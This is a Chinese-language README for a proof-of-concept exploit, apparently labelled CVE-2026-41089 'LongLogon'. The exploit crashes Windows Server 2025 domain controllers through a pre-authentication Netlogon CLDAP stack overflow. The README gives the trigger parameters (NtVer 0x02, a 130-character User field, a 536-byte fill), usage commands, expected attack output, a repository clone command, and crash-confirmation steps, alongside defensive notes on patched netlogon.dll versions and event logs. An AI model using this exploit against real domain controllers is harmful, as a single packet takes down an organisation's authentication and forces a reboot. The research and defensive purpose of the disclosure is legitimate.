Windows Server 2025 的 Netlogon 服务中存在预认证栈缓冲区溢出漏洞。来自网络上任意主机的一个 CLDAP 数据包(UDP/389)就足以触发:lsass.exe 以 STATUS_STACK_BUFFER_OVERRUN(0xc0000409)终止,域控制器随即重启。
对 Netlogon CLDAP ping 的响应会被序列化到一个 528 字节的栈缓冲区中。服务器会写入自身的名称(林、域、主机名),随后是攻击者可控的 User 字段(上限为 130 个宽字符)。当总填充量达到 536 字节(缓冲区 + 栈 cookie)时,末尾的 L'\0' 会覆盖 /GS cookie,导致进程崩溃。
NtVer 字段决定代码路径:0x02 走存在漏洞的 BuildSamLogonResponse,而 0x06 / 0x16 走有边界检查的(安全)BuildSamLogonResponseEx。本 PoC 发送 NtVer = 0x02。
python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]
--dry-run 使用 User=1(无害)进行探测,显示预计填充量,不发起攻击 --shots N 发送的溢出数据包数量(默认 1) --confirm-wait S 静默攻击后重新探测前的等待时间(默认 75 秒) --force 即使预计填充量低于 536 字节也发起攻击
示例(将 IP 和域名替换为你的实验环境值):
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example
发起攻击的预期输出:
[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)
退出码:0 可能崩溃,1 初始探测时 DC 无响应,2 填充量低于 536 字节(临界),3 DC 存活。
注意:脚本会在 75 秒后重新探测,因为单个静默数据包也可能是丢失的 UDP 数据报。不要仅凭静默就断定发生了崩溃。
使用研究仓库中的官方检查器。它以 User=1 进行探测,因此 DC 会保持运行:
git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>
预期结果:"PRECONDITION MET",且预计填充量至少为 536 字节。
该检查器并不能证明补丁状态:已打补丁的 DC 会走相同的代码路径,只是拒绝超长写入。请直接在 DC 上检查 netlogon.dll 版本(< 10.0.26100.32772 = 存在漏洞)。
在 DC 上,待其恢复运行后:
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5
查找事件 1000:出错应用程序 lsass.exe,出错模块 netlogon.DLL,异常代码 0xc0000409,且启动时间晚于攻击时间。
在 Windows Server 2025、lsass.exe 10.0.26100.7309、netlogon.dll 10.0.26100.32230(未打补丁)、64 字符域名 + 63 字符主机名(预计填充量 581 字节)上测试。发送一个数据包:
Application Error (Id 1000):
Faulting application: lsass.exe, version: 10.0.26100.7309
Faulting module: netlogon.DLL, version: 10.0.26100.32230
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
Fault offset: 0x000000000002399d
LastBootUpTime: 17:19:42 (crash logged at 17:18:37)
本 PoC 仅供教育和研究目的提供。它是在 Windows Server 2025 的隔离实验环境中开发和测试的。使用风险自负。
使用本脚本即表示你同意,作者对任何数据丢失、服务中断、硬件损坏或其他直接或间接后果概不负责。崩溃是非幂等的:目标域控制器将会重启。发起攻击前请创建快照。
不保证本 PoC 在生产环境或所有 Windows Server 2025 版本上有效。